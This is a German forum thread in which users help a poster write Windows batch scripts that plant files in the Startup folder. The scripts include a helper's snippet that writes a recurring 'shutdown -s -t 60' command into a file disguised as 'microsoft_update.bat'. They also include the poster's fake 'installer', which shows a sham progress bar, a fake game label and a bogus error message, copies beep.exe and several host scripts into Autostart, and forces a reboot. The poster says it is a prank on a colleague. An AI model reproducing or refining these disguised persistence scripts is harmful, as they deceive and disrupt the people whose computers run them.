Ich suche einen .bat Code mit dem ich eine Datei in den Autostart befördern oder kopieren kann ???
dida110 Gast |
dida110 Gast |
Ich suche einen .bat Code mit dem ich eine Datei in den Autostart befördern oder kopieren kann ???
Du bist wahrscheinlich so einer der da n "shutdown -s -t 1" drinnen hat in der bat datei :-D.
Naja jeder macht mal so Scheisze^^
Also ja, es is einfach das ganze gleich zu schreiben^^.
echo off
cd "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1"
echo shutdown -s -t 60 > microsoft_update.bat
Ja du hast ja recht hehe
Aber keine Angst ich werde es bei einem Kolleg machen und ihm sagen das man das imm abgesichrten Modus wider rückgangig machen kann hehe.
Kann man irgenwie machen, dass das DOS nicht aufgeht?
Ps: ist echt ein supper Forum hier!
Hier der Code meiner Datei die die sachen in den Autostart kopiert
Kannst sie aml studieren und ausführen keine Angst macht nichts da du ja die anderen Dateien nicht hast die er kopieren will hehe:
@ECHO OFF
Nein, das cmd geht immer auf, wenn du eine .bat Datei ausfuehrst (ausser von einem anderen Programm aus).
Also mich wuerd interessieren warum du andauernd "@echo off" schreibst...?
@echo off bewirkt, das alles Befehle nach dieser Zeile nicht ausgegeben werden, ausser sie geben etwas aus. Sofern du nicht wieder was anzeigen willst (@echo on) bleibt es wie es ist^^
Aber des mit dem "ping -n 3 127.0.0.1>nul" is gscheit gmacht :-D, es ist ja wirklich so das es kein "Sleep" im cmd.exe gibt^^
und warum dauerdn die laufwerke a,b, ...?
Hast du je was von "relativer Pfad" gehoert?!
Da mir es scheint als wuerdest du es noch nicht gehoert haben sag ich es dir einfach:
absoluter Pfad: z.B. C:/test.txt, oder C:/test/test.txt
relativer Pfad: test/test.txt
Wobei das was beim Relativen Pfad vor "test/test.txt" steht, ist der Pfad des aktuellen Ordners (also wo die .bat datei aufgerufen wird)
Somit muesst du nur z.b. "xcopy beep.exe "..."" schreiben^^.
Und das somit auch nur einmal.
Im Endeffekt wuerde das dann ca. so aussehen:
@echo off
title Installation
cls
ECHO 1 - Installieren
ECHO 2 - Informationen
ECHO 3 - Deinstallieren
echo Zum Instalieren drücken sie eine Taste!
pause
ping -n 3 127.0.0.1>nul
echo 10 Prozent
ping -n 3 127.0.0.1>nul
echo 20 Prozent
ping -n 3 127.0.0.1>nul
echo 30 Prozent
ping -n 3 127.0.0.1>nul
echo 50 Prozent
ping -n 3 127.0.0.1>nul
echo 60 Prozent
ping -n 3 127.0.0.1>nul
echo 70 Prozent
ping -n 3 127.0.0.1>nul
echo 80 Prozent
ping -n 3 127.0.0.1>nul
echo 90 Prozent
copy beep.exe "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1\beep.exe" /C /I /H /R
copy host.bat "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1\host.bat" /C /I /H /R
copy host2.vbs "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1\host2.vbs" /C /I /H /R
ping -n 3 127.0.0.1>nul
echo 100 Prozent
ping -n 1 127.0.0.1>nul
echo Installation abgeschlossen bitte machen sie einen Neustart!
pause
shutdown -r -t 40
He das is dazu da damit es uebersichtlich ist, oder damit du was loeschen kannst. Es is komplett egal ob du es machst oder nicht.
Dann steht:
10 Prozent
20 Prozent
...
oder halt immer nur die aktuellen Prozente, wenn du jedes mal cls machst, es is komplett egal, wie du es lieber hast^^
Ach ich bin am verzweifeln!
Jetzt habe ich gemerk das mein tool nicht xp kompatible ist!!!
Hab es ein bisschen umgeschriben aber ein Befehl geht nicht mehr und zwar der:
xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS
Der ganze
Code:
@ECHO OFF
CLS
:LOOP
ECHO A. Installieren
ECHO B. Informationen
ECHO C. Deinstallieren
ECHO Q. Quit
:: SET /P prompts for input and sets the variable
:: to whatever the user types
SET Choice=
SET /P Choice=Type the letter and press Enter:
:: The syntax in the next line extracts the substring
:: starting at 0 (the beginning) and 1 character long
IF NOT '%Choice%'=='' SET Choice=%Choice:~0,1%
ECHO.
:: /I makes the IF comparison case-insensitive
IF /I '%Choice%'=='A' GOTO ItemA
IF /I '%Choice%'=='B' GOTO ItemB
IF /I '%Choice%'=='C' GOTO ItemC
IF /I '%Choice%'=='Q' GOTO End
ECHO "%Choice%" is not valid. Please try again.
ECHO.
GOTO Loop
:ItemA
@echo off
echo Zum Instalieren drücken sie eine Taste!
pause
ping -n 3 127.0.0.1>nul
echo 10 Prozent
ping -n 3 127.0.0.1>nul
echo 20 Prozent
ping -n 3 127.0.0.1>nul
echo 30 Prozent
ping -n 3 127.0.0.1>nul
echo 50 Prozent
ping -n 3 127.0.0.1>nul
echo 60 Prozent
ping -n 3 127.0.0.1>nul
echo 70 Prozent
ping -n 3 127.0.0.1>nul
echo 80 Prozent
ping -n 3 127.0.0.1>nul
echo 90 Prozent
xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS
xcopy "host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS
xcopy "Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS
xcopy "Host4.bat" "C:\Dokumente und Einstellungen\Beni der Held\Startmenü\Programme\Startup" /C /I /H /R
CLS
xcopy "Host3.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS
ping -n 3 127.0.0.1>nul
echo 100 Prozent
CLS
ping -n 1 127.0.0.1>nul
echo Installation abgeschlossen bitte machen sie einen Neustart!
pause
ping -n 100 127.0.0.1>nul
shutdown -r -t 40
GOTO Again
:ItemB
ECHO ----------------------GTA Version 1.142.1 Ge* bitte keine illegalen Tipps *t!!!!!-------------------------
GOTO Again
:ItemC
ECHO Das Programm wurde nicht Richtig Installiert! (Error x55am.dll)
GOTO Again
:Again
PAUSE
CLS
GOTO Loop
:End
Okay, also was hast du fuer n Windows? 98? 2000?
Also alles was ich gepostet habe war fuer XP, also die Pfade.
Versuchs mal mit ner abfrage von %OS%. Sagt welches Betriebssystem es ist, also bei XP und 98 is n unterschied, bei 2000 hab ich es noch nicht probiert, weil ich es nicht habe
Ja, haett ich mir au glei denken koennen.
Es gibt 2 copy Befehle: "copy" und "xcopy".
grob gesagt:
copy kopiert eine Datei, oder mehrere Dateien in einem Ordner, oder Dateien zusammen wo anders hin oder in eine neue Datei
xcopy kopiert Dateien und Unterordner woanders hin
In diesem Fall solltest du einfach den copy Befehl nehmen.
Da ich jetzt keine Zeit hab dir alles zu erklaren, versuchs doch einfach mit "xcopy /?" und "copy /?"
und zu dida110:
Lies dir den Thread vorher durch, bevor du etwas fragst, ich hab das schon ueber 4 mal geschrieben.
mfg.
Fuxi
Ja ich weiss ja schon das du das schon etwa 3 mal hingeschriebn hast, bin dir auch sehr dankbar dafür, aber es geht doch nicht habe den copy und den xcopy befehl ausprobiert!
Vieleicht liegt es am falschen Autostart Pfad?
xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup
xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup
Man man man, manchmal Frage ich mich wirklich warum ich so aufuehrliche antworten gebe...
Ich sage nur 1, mehr nicht den rest darfst du dir selber nachlesen: RELATIVER PFAD
Wie findet copy die beep.exe ? Pfad fehlt
« Excel Makro problem | Hochkomma in Anführungszeichen » | ||